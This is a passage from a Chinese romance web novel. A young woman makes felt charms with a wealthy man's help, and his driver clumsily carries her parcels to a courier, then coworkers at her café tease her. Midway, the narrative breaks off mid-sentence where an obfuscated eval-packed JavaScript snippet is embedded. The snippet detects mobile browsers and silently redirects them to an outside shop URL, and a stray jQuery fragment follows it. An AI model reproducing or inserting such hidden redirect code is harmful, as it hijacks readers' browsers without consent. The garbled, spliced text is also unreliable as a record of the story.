时间像静止了。

    指尖的微凉,令周则肃短暂凝滞了视线,他盯着艾葳稍稍卡顿了一下动作,又从善如流地帮他缠起创可贴。长而卷的睫毛会随着呼吸轻轻扇动,但却无法勾走一点专注力,整个人散发着“我要对他手指负责”的气势。

    一声短而浅的笑从鼻腔内若有似无倾泻,道出几分趣意。

    缠好后,还会抬头睁着漂亮的眼睛,问:“紧吗?”

    周则肃轻摇脑袋,声线淡而沉,“刚好。”

    得到回应,艾葳点点头,拆开另一个创可贴,继续帮着缠大拇指。

    “你好像用不上。”他说。

    “对。”创可贴是为了防止奶奶受伤准备的,压上另外半边贴布,艾葳抬眸笑盈盈回道,“新手期才需要,我已经是老手了。”

    那语气听着竟有几分骄傲,却令周则肃嘴角边还未散尽的笑意变得有些干。

    “那开始吧。”

    “嗯嗯。”

    艾葳不再废话,利落回身,埋头苦干起来,像个设置好程序的小机器人。如果说人类设定好的精力是10分,她好似有12分。

    周则肃余光瞥着始终无法专注自己,眼底的不忍到底没藏好。她的手看着纤长细腻,素白无暇,触感实则相反。

    是干活干多了的原因,且年份不短。

    奶奶忽而一声喷嚏响,短暂乱了下单一的白噪音,周则肃这才有了行动。

    大老爷们做娃娃不多见,还是个从小被人伺候大的,不但没经验,毛毛也像不喜欢他,怎么戳都不屈服,几分钟后,他不动声色侧头瞄了眼另一侧的郭毅清,见人压根没关注到他,才超小声地问:“有没有窍诀?”

    艾葳被周则肃这做贼似的行为逗得嘴角绷都绷不住,实在不像平常的他了,她只得努力回想一件非常悲催的往事,才压下要笑的冲动,“这个本来就耗时,你边戳边滚着换地方,不要急。”

    “好。”

    得亏是不需要什么高超技巧,经过一番坚持不懈的“缠斗”,半小时后,周则肃手上的底毛终于被戳成结实的小圆球。

    “你看怎么样?

    他像个学生,长指捏着,递到艾葳眼前求评价。明明一个很普通的毛球,在他手里像捏了块稀有钻石,艾葳睇去一眼,忍不住感叹,有些人矜贵到连一件普物都能被他反衬出价值。

    她边说边回望,“嗯,这个样子就很不错,接下来用——”

    “就是这个,用这个黑毛戳眼睛。”话到一半,艾葳又赶忙瞥开眼睛,继续说道。

    “操作一样?”

    “对。”

    “好。”

    艾葳转回脑袋,心急跳的那一秒一定只是错觉,是周则肃脸上那抹笑,太过真实,她从没见过。

    不似以往的寡淡,礼节性,以及善意。

    是有内容的。

    他真的是被捧在手心里,细心呵护长大的吧,干净到没有一点倒刺的手指,触感柔软,衣衫整洁的有股区别于沉香的清香,是那种超出世俗肉.体的洁净感,或许是他身上本来的味道。

    所以到底经历了什么?

    心病会治愈吗?

    屋外。

    异木棉正值花期,满树的云霞灿若舒锦,偶尔落下几片嫣粉香瓣。

    日头已近十点方向,扑进来的日光温度一涨再涨,艾葳挺翘的鼻头上渐渐沁出细密薄汗,可她仿若未觉,只在意订单还剩几个。

    “吱!”

    一声椅子摩擦着地板砖的声响传来,是周则肃起身离了座位,但又很快折返,手上多了杯白开水。

    “给,先喝些。”

    艾葳从坐下后就没喝上一口,她不想浪费哪怕一秒的时间。这会儿有人端到手边,不由停了动作。

    水温不凉不热,是刚刚好的温开水。

    艾葳多喝了好几口,“谢谢。”

    “不用。一天能卖几个?”

    “不一定,有时一天三四单,有时一单都没,平均下来一天两三个吧,挣个伙食费。”话落,艾葳打了个哈欠,揉揉眼睛,又继续伏案埋首,“还要看大小是否定制,今天全是迷你挂件,形也简单,单价不会太高。”

    不过因为是原创,也不会太低。

    周则肃静静听着,棱棱眉宇忽而微蹙,高位的视线像激活了焦距,从艾葳精致的侧脸上放大放大,放大到她全身,再是整个工作区域,老人孙女,一个社会辛劳谋生的小型缩影,就在他眼前。

    字典里才有的“心疼”二字,像终于体会到了。

    奶奶在一旁看似专注自己手上的事,实则一直竖着耳朵关注着俩年轻人,嘴角时不时翘起来。

    她觉得她家葳葳的眼光比她年轻的时候好。

    小肃这孩子,还算会疼人。

    -

    日头当空。

    不知不觉已是中午。

    艾葳数了数,还剩6单没做。她打开小番薯,找到买家,一一留言,大致内容是自己前几天出了点事,但挂件最晚后天能寄出,问能不能等。

    这块艾葳有经验,态度诚恳再加送个小礼物,一般都会同意。

    周则肃的视线晃了一圈后,绕回,“这些货我来寄。”

    “不用,快递——”

    “可我好奇。”

    艾葳听愣了,觉得大少爷真是来体验生活的。

    “那行吧。那晚上继续请你喝酒?”

    “行。”

    家里两位阿姨是从京市那边带过来的,跟着好多年了,活干的面面俱到,厨艺也一级棒。

    艾葳味蕾大开的快速扒完一碗饭,就去上班了。

    前往咖啡馆的路上,艾葳陆续收到买家的回复,有理解,也有不接受的。

    因为同学的生日即将到来。

    偏偏这一单是定制,佣金很高。艾葳只能一再保证先做她的,并走顺丰特快,对方才勉强同意。

    她手机“哒哒”打了一路,周则肃就默默听了一路,直到目送她进了咖啡馆,才让老宋前往下一站。

    “之前也是隔这么远下车?”

    “是的少爷。少奶奶说,不想惹些不必要的麻烦。如果不是凌晨那会儿提前下班,我会先载着您往那个路口开一段。”

    周则肃没再应声。

    快递站离得不远,拐两条街就到了。周则肃从不网购,不懂快递,更不会产生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930116|213617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好奇,所以目的地一到,老宋火烧屁股似的下了车,“少爷我来,您歇着。”

    结果他家少爷没听。

    “我一个人就够了。”

    “能一趟何必跑两趟。”

    老宋看了眼以往根本不可能出现在周则肃手指上的创可贴,咬了下后槽牙,然后猛地一下弯腰,双臂长长一揽,“哗啦”的一下把这些天积的十几个包裹全往自己怀里拢,跟护食的老鹰似的,接着一副休要跟我抢宝的姿态,一个一个叠高,抱起,转身就朝快递站疾走而去。

    全程,没给他家少爷一个眼神。

    幸好,他走得够急,总会掉一两个下来,周则肃有幸在身后捡个漏。

    “……”

    一顿操作猛如虎,结果快递会上门,寄的多还有合作,运费单价低,根本不需要自己跑,来来回回的搬。

    想着刚刚跟在老宋身后捡快递的狼狈模样,周则肃陷入了短暂沉默。之前的谎撒得有多自然,现在就有多尴尬,再一想艾葳当时的表情,尴尬感更浓了。

    他面无表情掏出手机,扫码付款,利落走人。

    “真没想到。”

    跟“抢食”似的老宋由于自己同样不懂,颇为懊恼地干笑一声后,道。

    周则肃面不改色,“找家上档次的护肤品店。”

    “给,少奶奶买吗?”

    “嗯。”

    “好滴!”

    -

    彼时,咖啡馆内响起一道足以掀翻屋顶的尖叫,得亏现在没客人。

    “葳葳,你这是要买车了?!”

    艾葳正在利用工作间隙刷驾考题库,被包雅婷偶然瞄到一眼,不淡定了,“中彩票了?”

    “什么,小葳中彩票了?”宋雅在远处听了个音,就激动地凑了过来。

    两人盯过来视线过于火辣辣了,整得艾葳哭笑不得,“我哪有这运气,我也不买彩票。”

    “那怎么突然考驾照?”不是一直在努力存钱买房吗?

    宋雅忽然“啊呀”一声,然后极不认同道:“你该不会被你表姐刺激到了吧?别啊小葳,攀比一时爽,车贷火葬场啊。咱还是专注自己,把自己日子过好才是真。”

    艾葳其实一点都不喜欢撒谎,但现在别无选择,“二手车,朋友给我弄得,就几万。”

    “哦,以后搬家也方便。”

    空气短暂静默,飘来一阵感慨。

    “我就说小葳不是那种虚于表面的人。”

    “是啊是啊,我们葳葳更不可能做那种缺德事。”

    两人松了口气又不住欣慰的样子,看得艾葳失笑,“我怎么就做缺德事了,你不会以为我抢银行去了吧?”

    包雅婷一脸笃定,“咋可能啊。你就是有这贼心,也没这贼胆。”

    “那啥意思?”

    “我以为你在酒吧被哪个大佬看中,然后给包养了。”

    头顶上像劈了道雷下来——

    从未设想过的词,就这样砸到艾葳身上。

    这也,太荒谬了。

    她刚要疾言否定,一双噙着温柔笑意却完全看不进看不透的眼睛,强势闯入脑海。

    当场就是一愣。